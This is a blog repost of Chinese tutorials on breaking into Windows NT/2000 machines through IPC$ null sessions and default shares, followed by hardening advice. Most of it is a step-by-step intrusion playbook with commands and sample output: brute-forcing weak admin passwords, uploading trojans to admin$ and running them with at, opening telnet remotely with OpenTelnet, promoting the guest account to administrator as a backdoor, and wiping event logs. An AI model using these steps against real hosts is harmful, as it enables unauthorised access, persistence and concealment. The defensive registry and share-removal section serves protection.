Chinaunix首页 | 论坛 | 博客
  • 博客访问: 1831434
  • 博文数量: 237
  • 博客积分: 9995
  • 博客等级: 中将
  • 技术积分: 2890
  • 用 户 组: 普通用户
  • 注册时间: 2006-04-30 10:33
文章分类

全部博文(237)

文章存档

2011年(1)

2007年(59)

2006年(177)

我的朋友

分类: WINDOWS

2006-10-14 11:04:07

PC$命令详解

网上关于ipc$入侵的文章可谓多如牛毛,而且也不乏优秀之作,攻击步骤甚至可以说已经成为经典的模式,因此也没人愿意再把这已经成为定式的东西拿出来摆弄.

不过话虽这样说,但我个人认为这些文章讲解的并不详细,对于第一次接触ipc$的菜鸟来说,简单的罗列步骤并不能解答他们的许多迷惑(你随便找一个hack论坛搜一下ipc,看存在的疑惑有多少).

因此我写了这篇相当于解惑的教程.想把一些容易混淆,容易迷惑人的问题说清楚,让大家不要总徘徊在原地!如果你看完这篇帖子仍有疑问,请马上回复!

 

 

什么是ipc$

IPC$(Internet Process Connection)是共享"命名管道"的资源(大家都是这么说的),它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。

利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的),而利用这个空的连接,连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)

我们总在说ipc$漏洞ipc$漏洞,其实,ipc$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winntwindows(admin$)

所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者(到底是什么用心?我也不知道,代词一个)会利用IPC$,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的.

 

解惑:

1)IPC连接是Windows NT及以上系统中特有的远程网络登陆功能,其功能相当于Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL函数,所以不能在Windows 9.x中运行。

也就是说只有nt/2000/xp才可以建立ipc$连接,98/me是不能建立ipc$连接的(但有些朋友说在98下能建立空的连接,不知道是真是假,不过现在都2003年了,建议98的同志换一下系统吧,98不爽的)

2)即使是空连接也不是100%都能建立成功,如果对方关闭了ipc$共享,你仍然无法建立连接

3)并不是说建立了ipc$连接就可以查看对方的用户列表,因为管理员可以禁止导出用户列表

 

 

建立ipc$连接在hack攻击中的作用

就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享,如果你能够以某一个具有一定权限的用户身份登陆的话,那么你就会得到相应的权限,显然,如果你以管理员身份登陆,嘿嘿,就不用我在多说了吧,what u want,u can do!!

(基本上可以总结为获取目标信息、管理目标进程和服务,上传木马并运行,如果是2000server,还可以考虑开启终端服务方便控制.怎么样?够厉害吧!)

不过你也不要高兴的太早,因为管理员的密码不是那么好搞到的,虽然会有一些傻傻的管理员用空口令或者弱智密码,但这毕竟是少数,而且现在不比从前了,随着人们安全意识的提高,管理员们也愈加小心了,得到管理员密码会越来越难的

因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接,你会慢慢的发现ipc$连接并不是万能的,甚至在主机不开启ipc$共享时,你根本就无法连接.

所以我认为,你不要把ipc$入侵当作终极武器,不要认为它战无不胜,它就像是足球场上射门前的传球,很少会有致命一击的效果,但却是不可缺少的,我觉得这才是ipc$连接在hack入侵中的意义所在.

 

 

ipc$与空连接,139,445端口,默认共享的关系

以上四者的关系可能是菜鸟很困惑的一个问题,不过大部分文章都没有进行特别的说明,其实我理解的也不是很透彻,都是在与大家交流中总结出来的.(一个有良好讨论氛围的BBS可以说是菜鸟的天堂)

 

1)ipc$与空连接:

不需要用户名与密码的ipc$连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc$连接),自然就不能叫做空连接了.

许多人可能要问了,既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有任何权限(很郁闷吧),而你以用户或管理员的身份登陆时,你就会有相应的权限(有权限谁不想呀,所以还是老老实实扫吧,不要偷懒哟).

2)ipc$139,445端口:

ipc$连接可以实现远程登陆及对默认共享的访问;139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139445端口来支持的.

3)ipc$与默认共享

默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系统目录winntwindows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享)

 

 

ipc$连接失败的原因

以下5个原因是比较常见的:

1)你的系统不是NT或以上操作系统;

2)对方没有打开ipc$默认共享

3)对方未开启139445端口(惑被防火墙屏蔽)

4)你的命令输入有误(比如缺少了空格等)

5)用户名或密码错误(空连接当然无所谓了)

另外,你也可以根据返回的错误号分析原因:

错误号5,拒绝访问 很可能你使用的用户不是管理员权限的,先提升权限;

错误号51Windows 无法找到网络路径 : 网络有问题;

错误号53,找不到网络路径 ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);

错误号67,找不到网络名 你的lanmanworkstation服务未启动;目标删除了ipc$

错误号1219,提供的凭据与已存在的凭据集冲突 你已经和对方建立了一个ipc$,请删除再连。

错误号1326,未知的用户名或错误密码 原因很明显了;

错误号1792,试图登录,但是网络登录服务没有启动 目标NetLogon服务未启动。(连接域控会出现此情况)

错误号2242,此用户的密码已经过期 目标有帐号策略,强制定期要求更改密码。

关于ipc$连不上的问题比较复杂,除了以上的原因,还会有其他一些不确定因素,在此本人无法详细而确定的说明,就靠大家自己体会和试验了.

 

 

如何打开目标的IPC$(此段引自相关文章)

首先你需要获得一个不依赖于ipc$shell,比如sqlcmd扩展、telnet、木马,当然,这shell必须是admin权限的,然后你可以使用shell执行命令 net share ipc$ 来开放目标的ipc$。从上面可以知道,ipc$能否使用还有很多条件。请确认相关服务都已运行,没有就启动它(不知道怎么做的请看net命令的用法),还是不行的话(比如有防火墙,杀不了)建议放弃。

 

 

如何防范ipc$入侵

1禁止空连接进行枚举(此操作并不能阻止空连接的建立,引自《解剖win2000下的空会话》)

首先运行regedit,找到如下组建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]RestrictAnonymous = DWORD的键值改为:00000001(如果设置为2的话,有一些问题会发生,比如一些WIN的服务出现问题等等)

 

2禁止默认共享

1)察看本地共享资源

运行-cmd-输入net share

2)删除共享(每次输入一个)

net share ipc$ /delete

net share admin$ /delete

net share c$ /delete

net share d$ /delete(如果有e,f,……可以继续删除)

3)停止server服务

net stop server /y (重新启动后server服务会重新开启)

4)修改注册表

运行-regedit

server:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]AutoShareServerDWORD)的键值改为:00000000

pro:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]AutoShareWksDWORD)的键值改为:00000000

如果上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值。

 

3永久关闭ipc$和默认共享依赖的服务:lanmanserverserver服务

控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-已禁用

 

4安装防火墙(选中相关设置),或者端口过滤(滤掉139,445),或者用新版本的优化大师

 

5设置复杂密码,防止通过ipc$穷举密码

 

 

相关命令

1)建立空连接:

net use \\IP\ipc$ "" /user:""     (一定要注意:这一行命令中包含了3个空格)

 

2)建立非空连接:

net use \\IP\ipc$ "用户名" /user:"密码"   (同样有3个空格)

 

3)映射默认共享:

net use z: \\IP\c$ "密码" /user:"用户名"     (即可将对方的c盘映射为自己的z盘,其他盘类推)

如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net use z: \\IP\c$

 

4)删除一个ipc$连接

net use \\IP\ipc$ /del

 

5)删除共享映射

net use c: /del 删除映射的c盘,其他盘类推

net use * /del 删除全部,会有提示要求按y确认

 

 

经典入侵模式

这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是哪位前辈)

 

11. C:\>net use \\127.0.0.1\IPC$ "密码" /user:"用户名"

一般用流光,通过扫描弱口令来得到,管理员帐号和密码.

2. C:\>copy srv.exe \\127.0.0.1\admin$

先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$d$,意思是C盘与D盘,这看你要复制到什么地方去了)。

  

3. C:\>net time \\127.0.0.1

查查时间,发现127.0.0.1 的当前时间是 2004/6/15 上午 11:00,命令成功完成。

  

4. C:\>at \\127.0.0.1 11:05 srv.exe

at命令启动srv.exe

 

5. C:\>net time \\127.0.0.1

再查查到时间没有?如果127.0.0.1 的当前时间是 2004/6/15 上午 11:05,那就准备开始下面的命令。

  

6. C:\>telnet 127.0.0.1 99

这里会用到Telnet命令吧,注意端口是99Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell

虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm

  

7.C:\>copy ntlm.exe \\127.0.0.1\admin$

Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。

  

8. C:\WINNT\system32>ntlm

输入ntlm启动(这里的C:\WINNT\system32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务!

 

9. Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)

 

为了以防万一,我们再把guest激活加到管理组  

10. C:\>net user guest /active:yes

将对方的Guest用户激活

 

11. C:\>net user guest 1234

Guest的密码改为1234,或者你要设定的密码

 

12. C:\>net localgroup administrators guest /add

Guest变为Administrator(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)

 

 

纯皓 2005-04-12 00:20

ipc$详细解释大全

前言

 

网上关于ipc$入侵的文章可谓多如牛毛,而且也不乏优秀之作,攻击步骤甚至可以说已经成为经典的模式,因此也没人愿意再把这已经成为定式的东西拿出来摆弄。

不过话虽这样说,但我个人认为这些文章讲解的并不详细,对于第一次接触ipc$的菜鸟来说,简单的罗列步骤并不能解答他们的种种迷惑(你随便找一个hack论坛搜一下ipc$,看看存在的疑惑有多少)。因此我参考了网上的一些资料,教程以及论坛帖子,写了这篇总结性质的文章,想把一些容易混淆,容易迷惑人的问题说清楚,让大家不要总徘徊在原地!

注意:本文所讨论的各种情况均默认发生在win NT/2000环境下,win98将不在此次讨论之列,而鉴于win Xp在安全设置上有所提高,个别操作并不适用,有机会将单独讨论。

 

 

什么是ipc$

 

 

IPC$(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。IPC$NT/2000的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。NT/2000在提供了ipc$功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(c$,d$,e$……)和系统目录winntwindows(admin$)共享。所有的这些,微软的初衷都是为了方便管理员的管理,但在有意无意中,导致了系统安全性的降低。

平时我们总能听到有人在说ipc$漏洞,ipc$漏洞,其实ipc$并不是一个真正意义上的漏洞,我想之所以有人这么说,一定是指微软自己安置的那个‘后门’:空会话(Null session)。那么什么是空会话呢?

 

 

什么是空会话

 

 

在介绍空会话之前,我们有必要了解一下一个安全会话是如何建立的。

Windows NT 4.0中是使用挑战响应协议与远程机器建立一个会话的,建立成功的会话将成为一个安全隧道,建立双方通过它互通信息,这个过程的大致顺序如下:

1)会话请求者(客户)向会话接收者(服务器)传送一个数据包,请求安全隧道的建立;

2)服务器产生一个随机的64位数(实现挑战)传送回客户;

3)客户取得这个由服务器产生的64位数,用试图建立会话的帐号的口令打乱它,将结果返回到服务器(实现响应);

4)服务器接受响应后发送给本地安全验证(LSA),LSA通过使用该用户正确的口令来核实响应以便确认请求者身份。如果请求者的帐号是服务器的本地帐号,核实本地发生;如果请求的帐号是一个域的帐号,响应传送到域控制器去核实。当对挑战的响应核实为正确后,一个访问令牌产生,然后传送给客户。客户使用这个访问令牌连接到服务器上的资源直到建议的会话被终止。

以上是一个安全会话建立的大致过程,那么空会话又如何呢?

 

空会话是在没有信任的情况下与服务器建立的会话(即未提供用户名与密码),但根据WIN2000的访问控制模型,空会话的建立同样需要提供一个令牌,可是空会话在建立过程中并没有经过用户信息的认证,所以这个令牌中不包含用户信息,因此,这个会话不能让系统间发送加密信息,但这并不表示空会话的令牌中不包含安全标识符SID(它标识了用户和所属组),对于一个空会话,LSA提供的令牌的SIDS-1-5-7,这就是空会话的SID,用户名是:ANONYMOUS LOGON(这个用户名是可以在用户列表中看到的,但是是不能在SAM数据库中找到,属于系统内置的帐号),这个访问令牌包含下面伪装的组:

Everyone

Network

在安全策略的限制下,这个空会话将被授权访问到上面两个组有权访问到的一切信息。那么建立空会话到底可以作什么呢?

 

 

空会话可以做什么

 

 

对于NT,在默认安全设置下,借助空连接可以列举目标主机上的用户和共享,访问everyone权限的共享,访问小部分注册表等,并没有什么太大的利用价值;对2000作用更小,因为在Windows 2000 和以后版本中默认只有管理员和备份操作员有权从网络访问到注册表,而且实现起来也不方便,需借助工具。从这些我们可以看到,这种非信任会话并没有多大的用处,但从一次完整的ipc$入侵来看,空会话是一个不可缺少的跳板,因为我们从它那里可以得到户列表,这对于一个老练的黑客已经足够了。以下是空会话中能够使用的具体命令:

 

 

1 首先,我们先建立一个空会话(需要目标开放ipc$

命令:net use \\ip\ipc$ "" /user:""

注意:上面的命令包括四个空格,netuse中间有一个空格,use后面一个,密码左右各一个空格。

 

 

2 查看远程主机的共享资源

命令:net view \\IP

解释:建立了空连接后,用此命令可以查看远程主机的共享资源,如果它开了共享,可以得到如下类似类似结果:

\\*.*.*.*的共享资源

资源共享名 类型 用途 注释

 

-----------------------------------------------------------

NETLOGON Disk Logon server share

SYSVOL Disk Logon server share

命令成功完成。

 

 

3 查看远程主机的当前时间

命令:net time \\IP

解释:用此命令可以得到一个远程主机的当前时间。

 

 

4 得到远程主机的NetBIOS用户名列表(需要打开自己的NBT

nbtstat -A IP

用此命令可以得到一个远程主机的NetBIOS用户名列表(需要你的netbios支持),返回如下结果:

 

Node IpAddress: [*.*.*.*] Scope Id: []

 

NetBIOS Remote Machine Name Table

 

Name Type Status

---------------------------------------------

SERVER <00> UNIQUE Registered

OYAMANISHI-H <00> GROUP Registered

OYAMANISHI-H <1C> GROUP Registered

SERVER <20> UNIQUE Registered

OYAMANISHI-H <1B> UNIQUE Registered

OYAMANISHI-H <1E> GROUP Registered

SERVER <03> UNIQUE Registered

OYAMANISHI-H <1D> UNIQUE Registered

..__MSBROWSE__.<01> GROUP Registered

INet~Services <1C> GROUP Registered

IS~SERVER......<00> UNIQUE Registered

 

MAC Address = 00-50-8B-9A-2D-37

 

以上就是我们经常使用空会话做的事情,好像也能获得不少东西哟,不过要注意一点:建立IPC$连接的操作会在EventLog中留下记录,不管你是否登录成功。 好了,那么下面我们就来看看ipc$所使用的端口是什么?

 

 

ipc$所使用的端口

 

 

首先我们来了解一些基础知识:

1 SMBServer Message Block) Windows协议族,用于文件打印共享的服务;

2 NBTNETBios Over TCP/IP)使用137UDP138UDP139TCP)端口实现基于TCP/IP协议的NETBIOS网络互联。

3 WindowsNTSMB基于NBT实现,而在Windows2000中,SMB除了基于NBT实现,还可以直接通过445端口实现。

 

有了这些基础知识,我们就可以进一步来讨论访问网络共享对端口的选择了:

 

对于win2000客户端来说:

1 如果在允许NBT的情况下连接服务器时,客户端会同时尝试访问139445端口,如果445端口有响应,那么就发送RST包给139端口断开连接,用455端口进行会话,当445端口无响应时,才使用139端口,如果两个端口都没有响应,则会话失败;

2 如果在禁止NBT的情况下连接服务器时,那么客户端只会尝试访问445端口,如果445端口无响应,那么会话失败。由此可见,禁止了NBT后的win 2000win NT的共享访问将会失败。

 

 

对于win2000服务器端来说:

1 如果允许NBT, 那么UDP端口137, 138, TCP 端口 139, 445将开放;

2 如果禁止NBT,那么只有445端口开放。

 

 

我们建立的ipc$会话对端口的选择同样遵守以上原则。显而易见,如果远程服务器没有监听139445端口,ipc$会话是无法建立的。

 

 

ipc$连接在hack攻击中的意义

 

 

就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息(而这些信息往往是入侵中必不可少的),如果你能够以某一个具有一定权限的用户身份登陆的话,那么你就会得到相应的权限,显然,如果你以管理员身份登陆,嘿嘿,那你可就了不得了,基本上可以为所欲为了。不过你也不要高兴的太早,因为管理员的密码不是那么好搞到的,虽然会有一些粗心的管理员存在弱口令,但这毕竟是少数,而且现在不比从前了,随着人们安全意识的提高,管理员们也愈加小心了,得到管理员密码将会越来越难的,因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接,甚至在主机不开启ipc$共享时,你根本就无法连接,你会慢慢的发现ipc$连接并不是万能的,所以不要奢望每次连接都能成功,那是不现实的。

是不是有些灰心?倒也不用,关键是我们要摆正心态,不要把ipc$入侵当作终极武器,不要认为它战无不胜,它只是很多入侵方法中的一种,你有可能利用它一击必杀,也有可能一无所获,这些都是正常的,在黑客的世界里,不是每条大路都能通往罗马,但总有一条路会通往罗马,耐心的寻找吧!

 

 

ipc$连接失败的常见原因

 

以下是一些常见的导致ipc$连接失败的原因:

 

 

1 IPC连接是Windows NT及以上系统中特有的功能,由于其需要用到Windows NT中很多DLL函数,所以不能在Windows 9.x/Me系统中运行,也就是说只有nt/2000/xp才可以相互建立ipc$连接,98/me是不能建立ipc$连接的;

 

 

2 如果想成功的建立一个ipc$连接,就需要对方开启ipc$共享,即使是空连接也是这样,如果对方关闭了ipc$共享,你将会建立失败;

 

 

3 你未启动Lanmanworkstation服务,它提供网络链结和通讯,没有它你无法发起连接请求(显示名为:Workstation);

 

 

4 对方未启动Lanmanserver服务,它提供了 RPC 支持、文件、打印以及命名管道共享,ipc$依赖于此服务,没有它远程主机将无法响应你的连接请求(显示名为:Server);

 

 

5 对方未启动NetLogon,它支持网络上计算机 pass-through 帐户登录身份;

 

 

6 对方禁止了NBT(即未打开139端口);

 

 

7 对方防火墙屏蔽了139445端口;

 

 

8 你的用户名或者密码错误(显然空会话排除这种错误);

 

 

9 命令输入错误:可能多了或少了空格,当用户名和密码中不包含空格时两边的双引号可以省略,如果密码为空,可以直接输入两个引号""即可;

 

 

10 如果在已经建立好连接的情况下对方重启计算机,那么ipc$连接将会自动断开,需要重新建立连接。

 

 

另外,你也可以根据返回的错误号分析原因:

错误号5,拒绝访问:很可能你使用的用户不是管理员权限的,先提升权限;

错误号51Windows无法找到网络路径:网络有问题;

错误号53,找不到网络路径:ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);

错误号67,找不到网络名:你的lanmanworkstation服务未启动或者目标删除了ipc$

错误号1219,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个ipc$,请删除再连;

错误号1326,未知的用户名或错误密码:原因很明显了;

错误号1792,试图登录,但是网络登录服务没有启动:目标NetLogon服务未启动;

错误号2242,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码。

 

 

复制文件失败的原因

 

 

有些朋友虽然成功的建立了ipc$连接,但在copy时却遇到了这样那样的麻烦,无法复制成功,那么导致复制失败的常见原因又有哪些呢?

 

 

纯皓 2005-04-12 00:21

1 盲目复制

这类错误出现的最多,占到50%以上。许多朋友甚至都不知道对方是否有共享文件夹,就进行盲目复制,结果导致复制失败而且郁闷的很。因此我建议大家在进行复制之前务必用net view \\IP这个命令看一下对方的共享情况,不要认为ipc$连接建立成功了就一定有共享文件夹。

 

2 默认共享判断错误

这类错误也是大家经常犯的,主要有两个小方面:

 

1)错误的认为能建立ipc$连接的主机就一定开启了默认共享,因而在建立完连接之后马上向admin$之类的默认共享复制文件,导致复制失败。ipc$连接成功只能说明对方打开了ipc$共享,ipc$共享与默认共享是两码事,ipc$共享是一个命名管道,并不是哪个实际的文件夹,而默认共享并不是ipc$共享的必要条件;

 

2)由于net view \\IP 无法显示默认共享(因为默认共享带$),因此通过这个命令,我们并不能判断对方是否开启了默认共享,因此如果对方未开启默认共享,那么所有向默认共享进行的操作都不能成功;(不过大部分扫描软件在扫弱口令的同时,都能扫到默认共享目录,可以避免此类错误的发生)

 

3用户权限不够,包括四种情形:

1)空连接向所有共享(默认共享和普通共享)复制时,大多情况下权限是不够的;

2)向默认共享复制时,要具有管理员权限;

3)向普通共享复制时,要具有相应权限(即对方事先设定的访问权限);

4)对方可以通过防火墙或安全软件的设置,禁止外部访问共享;

 

还需要说明一点:不要认为administrator就一定是管理员,管理员名称是可以改的。

 

 

4被防火墙杀死或在局域网

也许你的复制操作已经成功,但当远程运行时,被防火墙杀掉了,导致找不到文件;还有可能你把木马复制到了局域网内的主机,导致连接失败。因此建议你复制时要小心,否则就前功尽弃了。

 

 

呵呵,大家也知道,ipc$连接在实际操作过程中会出现千奇百怪的问题,上面我所总结的只是一些常见错误,没说到的,只能让大家自己去体会了。

 

 

如何打开目标的IPC$共享以及其他共享

 

 

目标的ipc$不是轻易就能打开的,否则就要天下打乱了。你需要一个admin权限的shell,比如telnet,木马等,然后在shell下执行net share ipc$来开放目标的ipc$,用net share ipc$ /del来关闭共享。如果你要给它开共享文件夹,你可以用net share baby=c:\,这样就把它的c盘开为共享名为baby共享了。

 

 

一些需要shell才能完成的命令

 

 

看到很多教程这方面写的十分不准确,一些需要shell才能完成命令就简简单单的在ipc$连接下执行了,起了误导作用。那么下面我总结一下需要在shell才能完成的命令:

 

1 向远程主机建立用户,激活用户,修改用户密码,加入管理组的操作需要在shell下完成;

 

2 打开远程主机的ipc$共享,默认共享,普通共享的操作需要在shell下完成;

 

3 运行/关闭远程主机的服务,需要在shell下完成;

 

4 启动/杀掉远程主机的进程,也需要在shell下完成。

 

 

十一 入侵中可能会用到的相关命令

 

 

请注意命令适用于本地还是远程,如果适用于本地,你只能在获得远程主机的shell后,才能向远程主机执行。

 

1 建立空连接:

net use \\IP\ipc$ "" /user:""

 

2 建立非空连接:

net use \\IP\ipc$ "psw" /user:"account"

 

3 查看远程主机的共享资源(但看不到默认共享)

net view \\IP

 

4 查看本地主机的共享资源(可以看到本地的默认共享)

net share

 

5 得到远程主机的用户名列表

nbtstat -A IP

 

6 得到本地主机的用户列表

net user

 

7 查看远程主机的当前时间

net time \\IP

 

8 显示本地主机当前服务

net start

 

9 启动/关闭本地服务

net start 服务名 /y

net stop 服务名 /y

 

10 映射远程共享:

net use z: \\IP\baby

此命令将共享名为baby的共享资源映射到z

 

11 删除共享映射

net use c: /del 删除映射的c盘,其他盘类推

net use * /del /y删除全部

 

12 向远程主机复制文件

copy \路径\srv.exe \\IP\共享目录名,如:

copy ccbirds.exe \\*.*.*.*\c 即将当前目录下的文件复制到对方c盘内

 

13 远程添加计划任务

at \\ip 时间 程序名,如:

at \\127.0.0.0 11:00 love.exe

注意:时间尽量使用24小时制;在系统默认搜索路径(比如system32/)下不用加路径,否则必须加全路径

 

 

14 开启远程主机的telnet

这里要用到一个小程序:opentelnet.exe,各大下载站点都有,而且还需要满足四个要求:

 

1)目标开启了ipc$共享

2)你要拥有管理员密码和帐号

3)目标开启RemoteRegistry服务,用户就该ntlm认证

4)对WIN2K/XP有效,NT未经测试

命令格式:OpenTelnet.exe \\server account psw NTLM认证方式 port

试例如下:c:\>OpenTelnet.exe \\*.*.*.* administrator "" 1 90

 

15 激活用户/加入管理员组

1 net uesr account /active:yes

2 net localgroup administrators account /add

 

16 关闭远程主机的telnet

同样需要一个小程序:ResumeTelnet.exe

命令格式:ResumeTelnet.exe \\server account psw

试例如下:c:\>ResumeTelnet.exe \\*.*.*.* administrator ""

 

17 删除一个已建立的ipc$连接

net use \\IP\ipc$ /del

 

 

(本教程不定期更新,欲获得最新版本,请登陆官方网站:菜菜鸟社区原创http://ccbirds.yeah.net/

 

 

十二 ipc$完整入侵步骤祥解

 

其实入侵步骤随个人爱好有所不同,我就说一下常见的吧,呵呵,献丑了!

 

1 用扫描软件搜寻存在若口令的主机,比如流光,SSSX-scan等,随你的便,然后锁定目标,如果扫到了管理员权限的口令,你可以进行下面的步骤了,假设你现在得到了administrator的密码为空

 

 

2 此时您有两条路可以选择:要么给对方开telnet(命令行),要么给它传木马(图形界面),那我们就先走telnet这条路吧

 

 

3上面开telnet的命令没忘吧,要用到opentelnet这个小程序

c:\>OpenTelnet.exe \\192.168.21.* administrator "" 1 90

如果返回如下信息

*******************************************************

Remote Telnet Configure, by refdom

Email: refdom@263.net

OpenTelnet.exe

 

UsagepenTelnet.exe \\server username password NTLMAuthor telnetport

*******************************************************

Connecting \\192.168.21.*...Successfully!

 

NOTICE!!!!!!

The Telnet Service default setting:NTLMAuthor=2 TelnetPort=23

 

Starting telnet service...

telnet service is started successfully! telnet service is running!

 

BINGLE!!!Yeah!!

Telnet Port is 90. You can try:"telnet ip 90", to connect the server!

Disconnecting server...Successfully!

*说明你已经打开了一个端口90telnet

 

 

4 现在我们telnet上去

telnet 192.168.21.* 90

如果成功,你将获得远程主机的一个shell,此时你可以像控制自己的机器一样控制你的肉鸡了,那么做点什么呢?把guest激活再加入管理组吧,就算留个后门了

 

 

5 C:\>net user guest /active:yes

*Guest用户激活,也有可能人家的guest本来就试活的,你可以用net user guest看一下它的帐户启用的值是yes还是no

 

 

6 C:\>net user guest 1234

*Guest的密码改为1234,或者改成你喜欢的密码

 

 

7 C:\>net localgroup administrators guest /add

*Guest变为Administrator,这样,即使以后管理员更改了他的密码,我们也可以用guest登录了,不过也要提醒您,因为通过安全策略的设置,可以禁止guest等帐户的远程访问,呵呵,如果真是这样,那我们的后门也就白做了,愿上帝保佑Guest

 

 

8 好了,现在我们来走另一条路,给它传个木马玩玩

 

 

9 首先,我们先建立起ipc$连接

C:\>net use \\192.168.21.*\ipc$ "" /user:administrator

 

 

10 既然要上传东西,就要先知道它开了什么共享

C:\>net view \\192.168.21.*

\\192.168.21.*的共享资源

资源共享名 类型 用途 注释

 

-----------------------------------------------------------

C Disk

D Disk

命令成功完成。

*好了,我们看到对方共享了C,D两个盘,我们下面就可以向任意一个盘复制文件了。再次声明,因为用net view命令无法看到默认共享,因此通过上面返回的结果,我们并不能判断对方是否开启了默认共享。

 

 

11 C:\>copy love.exe \\192.168.21.*\c

已复制 1 个文件

*用这个命令你可以将木马客户端love.exe传到对方的c盘下,当然,如果能复制到系统文件夹下是最好的了,不容易被发现

 

 

12 运行木马前,我们先看看它现在的时间

net time \\192.168.21.*

\\192.168.21.*的当前时间是 2003/8/22 上午 11:00

命令成功完成

 

 

13 现在我们用at运行它吧,不过对方一定要开了Task Scheduler服务(允许程序在指定时间运行),否则就不行了

C:\>at \\192.168.21.* 11:02 c:\love.exe

新加了一项作业,其作业 ID = 1

 

 

14 剩下就是等了,等过了11:02,你就可以用控制端去连接了,如果成功你将可以用图形界面去控制远程主机了,如果连接失败,那么它可能在局域网里,也可能程序被防火墙杀了,还可能它下线了(没这么巧吧),无论哪种情况你只好放弃了

 

 

嗯,好了,两种基本方法都讲了。如果你对上面的操作已经轻车熟路了,也可以用更高效的套路,比如用CA克隆guest,用p***ec执行木马,用命令:p***ec \\tergetIP -u user -p paswd cmd.exe直接获得shell等,这些都是可以得,随你的便。不过最后不要忘了把日志清理干净,可以用榕哥的elsave.exe

讲了ipc$的入侵,就不能不说如何防范,那么具体要怎样做呢?看下面

 

 

纯皓 2005-04-12 00:21

十三 如何防范ipc$入侵

 

 

1 禁止空连接进行枚举(此操作并不能阻止空连接的建立)

 

方法1

运行regedit,找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]RestrictAnonymous = DWORD的键值改为:1

如果设置为"1",一个匿名用户仍然可以连接到IPC$共享,但限制通过这种连接得到列举SAM帐号和共享等信息;在Windows 2000 中增加了"2",限制所有匿名访问除非特别授权,如果设置为2的话,可能会有一些其他问题发生,建议设置为1。如果上面所说的主键不存在,就新建一个再改键值。

 

方法2

在本地安全设置-本地策略-安全选项-在'对匿名连接的额外限制'中做相应设置

 

 

2 禁止默认共享

 

1)察看本地共享资源

运行-cmd-输入net share

 

2)删除共享(重起后默认共享仍然存在)

net share ipc$ /delete

net share admin$ /delete

net share c$ /delete

net share d$ /delete(如果有e,f,……可以继续删除)

 

3)停止server服务

net stop server /y (重新启动后server服务会重新开启)

 

4)禁止自动打开默认共享(此操作并未关闭ipc$共享)

运行-regedit

 

server:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]AutoShareServerDWORD)的键值改为:00000000

 

pro:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]AutoShareWksDWORD)的键值改为:00000000

如果上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值。这两个键值在默认情况下在主机上是不存在的,需要自己手动添加。

 

 

3 关闭ipc$和默认共享依赖的服务erver服务

控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-选已禁用 这时可能会有提示说:XXX服务也会关闭是否继续,因为还有些次要的服务要依赖于lanmanserver,不要管它。

 

 

4 屏蔽139445端口

由于没有以上两个端口的支持,是无法建立ipc$的,因此屏蔽139445端口同样可以阻止ipc$入侵。

 

1139端口可以通过禁止NBT来屏蔽

本地连接-TCP/IT属性-高级-WINS-选‘禁用TCP/IT上的NETBIOS’一项

 

